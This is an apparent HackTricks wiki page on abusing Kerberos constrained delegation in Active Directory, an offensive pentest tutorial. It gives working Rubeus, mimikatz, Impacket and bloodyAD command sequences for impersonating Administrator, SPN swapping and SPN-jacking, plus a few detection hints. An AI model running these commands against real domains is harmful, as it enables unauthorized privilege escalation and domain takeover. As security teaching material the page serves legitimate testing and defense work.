constrained-delegation.md (14866B)
1 --- 2 title: "Constrained Delegation" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/constrained-delegation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/constrained-delegation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Constrained Delegation 14 15 ## Constrained Delegation 16 17 Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against any **service** of a machine. 18 19 - **Service for User to self (_S4U2self_):** Any **service account that owns an SPN** can usually obtain a TGS to itself on behalf of an arbitrary user. If the account also has [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D) in _userAccountControl_, that TGS is **forwardable**, which is what makes protocol transition directly useful for **classic constrained delegation**. 20 - **Service for User to Proxy(_S4U2proxy_):** A **service account** can obtain a TGS on behalf of a user to the SPNs listed in **msDS-AllowedToDelegateTo**. The evidence ticket used in S4U2Proxy must be a **forwardable** ticket to the delegating service: either a real client-to-service ticket captured from the victim or one generated with **S4U2Self + T2A4D**. 21 22 **Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_’ in AD, or is a member of **Protected Users**, you will usually **not be able to impersonate** them through constrained delegation. In modern domains, prefer **AES** material over RC4-only assumptions when targeting delegation-enabled accounts. 23 24 This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to any **service** over the indicated machines (possible **privesc**). 25 26 Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked (in the ticket this part is not encrypted/signed). Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus for example. The same SPN swapping weakness is abused by **Impacket getST -altservice** and other tooling. 27 28 Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**. 29 30 ```bash 31 # Powerview 32 Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto 33 Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto 34 35 #ADSearch 36 ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json 37 ``` 38 39 ```bash 40 # NetExec: enumerate constrained / unconstrained / RBCD in one shot 41 nxc ldap dc.corp.local -u user -p 'Password123!' --find-delegation 42 43 # bloodyAD / msldap: LDAP-first enumeration from Linux 44 bloodyAD -H dc.corp.local -d corp.local -u user -p 'Password123!' msldap constrained 45 bloodyAD -H dc.corp.local -d corp.local -u user -p 'Password123!' msldap s4u2proxy 46 ``` 47 48 **Operator note:** don't trust **ADUC** or BloodHound screenshots alone for **gMSA/sMSA** review. Those accounts often hide the usual Delegation tab, so enumerate the raw **`userAccountControl`** and **`msDS-AllowedToDelegateTo`** attributes directly. 49 50 ```bash 51 # Generate TGT + TGS impersonating a user knowing the hash 52 Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt 53 ``` 54 55 ### Protocol-transition vs Kerberos-only constrained delegation 56 57 If the compromised account has **T2A4D**, you can usually complete the full **`S4U2Self -> S4U2Proxy`** chain from only the service key/TGT.<sup>[[2]](#references)</sup> 58 59 If it only has **`msDS-AllowedToDelegateTo`** (the classic **"Use Kerberos only"** mode), the delegation can still be abusable, but the evidence ticket for S4U2Proxy must be a **real forwardable user-to-service ticket** for the delegating service. In practice that means stealing or capturing a victim TGS from **LSASS/ccache** and feeding it into the second stage (`/tgs:` in Rubeus). A **non-forwardable** S4U2Self ticket is **not** enough for classic constrained delegation; if that is your only evidence ticket, check [Resource-based Constrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation) instead.<sup>[[2]](#references)</sup> 60 61 ### Cross-domain constrained delegation notes (2025+) 62 63 Since **Windows Server 2012/2012 R2** the KDC supports **constrained delegation across domains/forests** via S4U2Proxy extensions. Modern builds (Windows Server 2016–2025) keep this behaviour and add two PAC SIDs to signal protocol transition:<sup>[[1]](#references)</sup> 64 65 - `S-1-18-1` (**AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY**) when the user authenticated normally. 66 - `S-1-18-2` (**SERVICE_ASSERTED_IDENTITY**) when a service asserted the identity through protocol transition. 67 68 Expect `SERVICE_ASSERTED_IDENTITY` inside the PAC when protocol transition is used across domains, confirming the S4U2Proxy step succeeded.<sup>[[1]](#references)</sup> 69 70 ### Impacket / Linux tooling (altservice & full S4U) 71 72 Recent Impacket (0.11.x+) exposes the same S4U chain and SPN swapping as Rubeus:<sup>[[2]](#references)</sup> 73 74 ```bash 75 # Get TGT for delegating service (hash/aes) 76 getTGT.py contoso.local/websvc$ -hashes :8c6264140d5ae7d03f7f2a53088a291d 77 78 # S4U2self + S4U2proxy in one go, impersonating Administrator to CIFS then swapping to HOST 79 getST.py -spn CIFS/dc.contoso.local -altservice HOST/dc.contoso.local \ 80 -impersonate Administrator contoso.local/websvc$ \ 81 -hashes :8c6264140d5ae7d03f7f2a53088a291d -k -dc-ip 10.10.10.5 82 83 # Inject resulting ccache 84 export KRB5CCNAME=Administrator.ccache 85 smbclient -k //dc.contoso.local/C$ -c 'dir' 86 87 # If you already have a ticket/ccache for the right host, rewrite only the service class offline 88 # (same SPN-swapping idea as Rubeus /altservice) 89 tgssub.py -in Administrator.ccache -out Administrator_HOST.ccache -altservice host/dc.contoso.local 90 export KRB5CCNAME=Administrator_HOST.ccache 91 ``` 92 93 If you prefer forging the user ST first (e.g., offline hash only), pair **ticketer.py** with **getST.py** for S4U2Proxy. `tgssub.py` is also handy when you already have a working ccache and only need to swap the service class for the same host. See the open Impacket issue #1713 for current quirks (KRB_AP_ERR_MODIFIED when the forged ST doesn't match the SPN key).<sup>[[2]](#references)</sup> 94 95 ### SPN-jacking: redirecting a constrained-delegation target 96 97 Classic constrained delegation authorizes an **SPN string** in `msDS-AllowedToDelegateTo`, not an immutable target SID. During S4U2Proxy, the KDC resolves the account that currently owns that SPN and encrypts the service ticket with that account's long-term key. Therefore, control of the delegating account plus `WriteSPN` over another service/computer account can redirect an unchanged delegation constraint without `SeEnableDelegationPrivilege`.<sup>[[5]](#references)[[6]](#references)</sup> 98 99 Two variants exist:<sup>[[5]](#references)</sup> 100 101 - **Ghost SPN-jacking:** the allowed SPN is orphaned because its former owner was deleted, renamed, or had the SPN removed. Add it directly to the desired target account. 102 - **Live SPN-jacking:** the SPN still belongs to a source account. Duplicate-SPN validation normally blocks the destination write, so `WriteSPN` is needed on both objects: remove it from the source, add it to the target, obtain the ticket, and restore the original registration. 103 104 The following abstracted Linux flow moves an allowed SPN, runs S4U as the compromised delegating principal, and rewrites the ticket's service name to a useful service on the new target.<sup>[[5]](#references)[[6]](#references)</sup> 105 106 ```bash 107 # Omit this deletion for a ghost SPN 108 bloodyAD --host "$DC" -d "$DOMAIN" -u "$WRITER" -p "$PASSWORD" \ 109 msldap delspn "$SOURCE_DN" "$DELEGATED_SPN" 110 111 bloodyAD --host "$DC" -d "$DOMAIN" -u "$WRITER" -p "$PASSWORD" \ 112 msldap addspn "$TARGET_DN" "$DELEGATED_SPN" 113 114 getST.py -dc-ip "$DC_IP" -spn "$DELEGATED_SPN" \ 115 -impersonate Administrator -altservice "cifs/$TARGET_FQDN" \ 116 "$DOMAIN/$DELEGATING_ACCOUNT:$DELEGATING_PASSWORD" 117 ``` 118 119 `-altservice` is the second, separate primitive. The S4U2Proxy ticket was encrypted for the account that now owns `$DELEGATED_SPN`; because the ticket service name (`sname`) is outside the encrypted ticket body, tooling can substitute another service class/hostname whose service uses that same account key. SPN-jacking first changes **which account key** protects the ticket, while service-class substitution changes **where that ticket is presented**.<sup>[[5]](#references)[[6]](#references)</sup> 120 121 For live jacking, reverse the two LDAP writes immediately after ticket acquisition to avoid breaking the legitimate service. On DCs with computer-account auditing enabled, hunt for Security event **4742** where `servicePrincipalName` is removed from one computer and shortly added to another, especially when the SPN hostname differs from the destination's `dNSHostName`. Correlate with event **4769**: S4U2Self presents the same account as client/service, while S4U2Proxy populates **Transited Services**.<sup>[[5]](#references)</sup> 122 123 ### Automating delegation setup from low-priv creds 124 125 If you already hold **GenericAll/WriteDACL** over a computer or service account, you can push the required attributes remotely without RSAT using **bloodyAD** (2024+): 126 127 ```bash 128 # Set TRUSTED_TO_AUTH_FOR_DELEGATION and point delegation to CIFS/DC 129 KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local add uac WEBSRV$ -f TRUSTED_TO_AUTH_FOR_DELEGATION 130 KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local set object WEBSRV$ msDS-AllowedToDelegateTo -v 'cifs/dc.corp.local' 131 ``` 132 133 This lets you build a constrained delegation path for privesc without DA privileges as soon as you can write those attributes. 134 135 - Step 1: **Get TGT of the allowed service** 136 137 ```bash 138 # The first step is to get a TGT of the service that can impersonate others 139 ## If you are SYSTEM in the server, you might take it from memory 140 .\Rubeus.exe triage 141 .\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap 142 143 # If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one 144 ## Get AES/RC4 with mimikatz 145 mimikatz sekurlsa::ekeys 146 147 ## Request with aes 148 tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 149 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap 150 151 # Request with RC4 152 tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d 153 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi 154 ``` 155 156 > [!WARNING] 157 > There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse 158 > 159 > **Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.** 160 161 - Step2: **Get TGS for the service impersonating the user** 162 163 ```bash 164 # Obtain a TGS of the Administrator user to self 165 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator 166 167 # Obtain service TGS impersonating Administrator (CIFS) 168 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS 169 170 #Impersonate Administrator on different service (HOST) 171 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST 172 173 # Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2) 174 .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap 175 176 #Load ticket in memory 177 .\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local 178 ``` 179 180 ```bash 181 #Obtain a TGT for the constrained-delegation user 182 tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d 183 184 #Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP) 185 tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL 186 187 #Load the TGS in memory 188 Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"' 189 ``` 190 191 [**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) and [**https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61**](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)<sup>[[3]](#references)[[4]](#references)</sup> 192 193 ## References 194 195 - [1] [Kerberos Constrained Delegation Overview (Microsoft Learn, 2025)](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview) 196 - [2] [Abusing Delegation with Impacket (Part 2): Constrained Delegation (Black Hills, 2025)](https://www.blackhillsinfosec.com/abusing-delegation-with-impacket-part-2/) 197 - [3] [Kerberos Constrained Delegation (ired.team)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) 198 - [4] [Kerberosity Killed the Domain: An Offensive Kerberos Overview (SpecterOps)](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) 199 - [5] [Elad Shamir - SPN-jacking: An Edge Case in WriteSPN Abuse](https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/) 200 - [6] [0xdf - HTB Pirate](https://0xdf.gitlab.io/2026/09/05/htb-pirate.html)